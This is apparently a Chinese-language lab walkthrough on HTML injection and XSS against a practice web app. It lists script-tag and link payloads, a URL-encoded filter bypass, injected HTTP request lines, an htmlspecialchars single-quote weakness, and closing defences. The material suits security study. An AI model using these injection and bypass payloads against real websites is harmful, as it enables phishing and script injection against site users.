基础
什么是HTML注入?
HTML注入(Hypertext Markup Language Injection)中文意思是“超文本标记性语言注入”,众所周知HTML含有各种标签,如果Web应用程序对用户输入的数据没进行彻底的处理的话,那么一些非法用户提交的数据可能含有HTML其他标签,而这些数据又恰好被服务器当作正常的HTML标签显示,那么最终的结果是非法标签被解析(可以应用于钓鱼、社会工程学等),对其他用户造成很大影响。
HTML注入与XSS的区别
XSS(Cross-site Scripting)中文翻译是“跨站脚本攻击”,XSS本质上是HTML注入攻击,但又不同于HTML注入,XSS利用脚本标记运行JavaScript等脚本程序,可以通过JavaScript获取机密数据和一些列危险操作,而HTML注入只是使用HTML标签修改页面内容。
GET Injection(注入型)
- LOW
<script>alert("Get pass")</script>
#<a href=http://www.baidu.com>Click Me</a>
- mid
通过源码可知,进行了 <>替换,故可用编码绕过
#<script>alert("Get pass")</script> URL编码绕过
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%30%29%3c%2f%73%63%72%69%70%74%3e%0a
- high
高安全级别使用了htmlspecialchars函数(htmlspecialchars 把特殊字符转为HTML实体 ),很难绕过。
其中,htmlspecialchars默认配置是不过滤单引号的。只有设置了: quotestyle 选项为ENT_ QUOTES才会过滤单引号
故存在 ’ 闭合绕过。htmlspecialchars存在的可能绕过方法
POST Injection(注入型)
- low
<script>alert("GetPass")</script>
- mid
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%47%65%74%50%61%73%73%22%29%3c%2f%73%63%72%69%70%74%3e
- high
无法绕过
Reflected (反射型)
- low
故更改,HOST、URI字段可绕过
# ? 或 #绕过
GET /htmli_current_url.php?a=<script>alert("GetPass")</script> HTTP/1.1
#GET /htmli_current_url.php#a=<script>alert("GetPass")</script> HTTP/1.1
- mid、high
不可绕过
Stored (存储型)
- low
<script>alert(“GetPass")</script>
- mid/high
防御手段
- 将特殊字符转换为 HTML 实体(如php的htmlspecialchars方法)
- 对传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。(如php的mysqli_real_escape_string方法)